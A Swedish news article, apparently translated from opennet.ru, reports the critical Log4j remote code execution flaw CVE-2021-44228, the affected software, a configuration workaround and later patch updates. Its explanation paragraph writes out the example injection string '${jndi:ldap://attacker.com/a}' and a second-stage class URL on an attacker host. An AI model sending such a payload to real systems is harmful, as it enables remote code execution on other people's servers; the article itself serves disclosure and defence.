Katastrofal sårbarhet i Apache Log4j som påverkar många Java-projekt

I Apache Log4j, ett populärt ramverk för att organisera loggning i Java-applikationer, har en kritisk sårbarhet identifierats som gör att godtycklig kod kan exekveras när ett speciellt formaterat värde i formatet "{jndi:URL}" skrivs till loggen. Attacken kan utföras på Java-applikationer som loggar värden som tas emot från externa källor, till exempel när problematiska värden visas i felmeddelanden.

Det noteras att nästan alla projekt som använder ramverk som Apache Struts, Apache Solr, Apache Druid eller Apache Flink påverkas av problemet, inklusive Steam, Apple iCloud, Minecraft-klienter och -servrar. Det förväntas att sårbarheten kan leda till en våg av massiva attacker mot företagsapplikationer, vilket upprepar historien om kritiska sårbarheter i Apache Struts-ramverket, som, enligt en grov uppskattning, används i webbapplikationer av 65% av Fortune 100 företag, inklusive försök att skanna nätverket efter sårbara system.

Problemet förvärras av det faktum att en fungerande exploit redan har publicerats, men korrigeringar för de stabila grenarna har ännu inte sammanställts. CVE-identifieraren har ännu inte tilldelats. Fixeringen ingår bara i log4j-2.15.0-rc1-testgrenen. Som en lösning för att blockera sårbarheten rekommenderar vi att du ställer in parametern log4j2.formatMsgNoLookups till true.

Problemet orsakades av det faktum att log4j stöder bearbetning av speciella masker "{}" i rader som matas ut till loggen, där JNDI-frågor (Java Naming and Directory Interface) kunde exekveras. Attacken går ut på att skicka en sträng med ersättningen "${jndi:ldap://attacker.com/a}", vid bearbetning som log4j kommer att skicka en LDAP-förfrågan om sökvägen till Java-klassen till attacker.com-servern . Sökvägen som returneras av angriparens server (till exempel http://second-stage.attacker.com/Exploit.class) kommer att laddas och köras i samband med den aktuella processen, vilket gör att angriparen kan exekvera godtycklig kod på system med rättigheterna för den aktuella applikationen.

Tillägg 1: Sårbarheten har tilldelats identifieraren CVE-2021-44228.

Tillägg 2: Ett sätt att kringgå skyddet som lagts till av release log4j-2.15.0-rc1 har identifierats. En ny uppdatering, log4j-2.15.0-rc2, har föreslagits med ett mer komplett skydd mot sårbarheten. Koden framhäver förändringen som är förknippad med frånvaron av en onormal avslutning vid användning av en felaktigt formaterad JNDI-URL.

Källa: opennet.ru

Lägg en kommentar